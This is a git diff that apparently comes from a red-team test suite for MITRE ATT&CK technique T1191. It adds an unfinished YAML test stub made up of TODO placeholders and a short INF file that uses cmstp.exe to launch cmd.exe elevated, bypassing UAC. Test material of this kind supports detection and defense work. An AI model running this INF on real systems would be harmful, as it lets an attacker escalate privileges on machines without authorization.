diff --git a/atomics/T1191/T1191.yaml b/atomics/T1191/T1191.yaml index 1e477b5d..7efdc2ef 100644 --- a/atomics/T1191/T1191.yaml +++ b/atomics/T1191/T1191.yaml @@ -19,3 +19,25 @@ atomic_tests: name: command_prompt command: | cmstp.exe /s #{inf_file_path} + +- name: TODO + description: | + TODO + + supported_platforms: + - windows + - macos + - centos + - ubuntu + - linux + + input_arguments: + output_file: + description: TODO + type: todo + default: TODO + + executor: + name: command_prompt + command: | + TODO diff --git a/atomics/T1191/T1191_uacbypass.inf b/atomics/T1191/T1191_uacbypass.inf new file mode 100644 index 00000000..86eaf765 --- /dev/null +++ b/atomics/T1191/T1191_uacbypass.inf @@ -0,0 +1,29 @@ +[version] +Signature=$chicago$ +AdvancedINF=2.5 + +[DefaultInstall] +RunPreSetupCommands=RunPreSetupCommandsSection +;CopyFiles=Xnstall.CopyFiles, Xnstall.CopyFiles.ICM +;AddReg=Xnstall.AddReg.AllUsers +RegisterOCXs=RegisterOCXSection + +[RunPreSetupCommandsSection] +; Commands Here will be run Before Setup Begins to install +c:\windows\system32\cmd.exe +taskkill /IM cmstp.exe /F + +[Strings] +ServiceName="MalCorp" +ShortSvcName="malcorp" +DesktopGUID="{BC63D377-66BA-4935-BAD4-DD402D23A85A}" +UninstallAppTitle="MalCorp" +DesktopIcon="" +PhonebookPath="" +BeginPrompt="Do you want to remove MalCorp?" +EndPrompt="Successfully removed MalCorp." +DisplayLCID=1033 +CmLCID=1033 + + +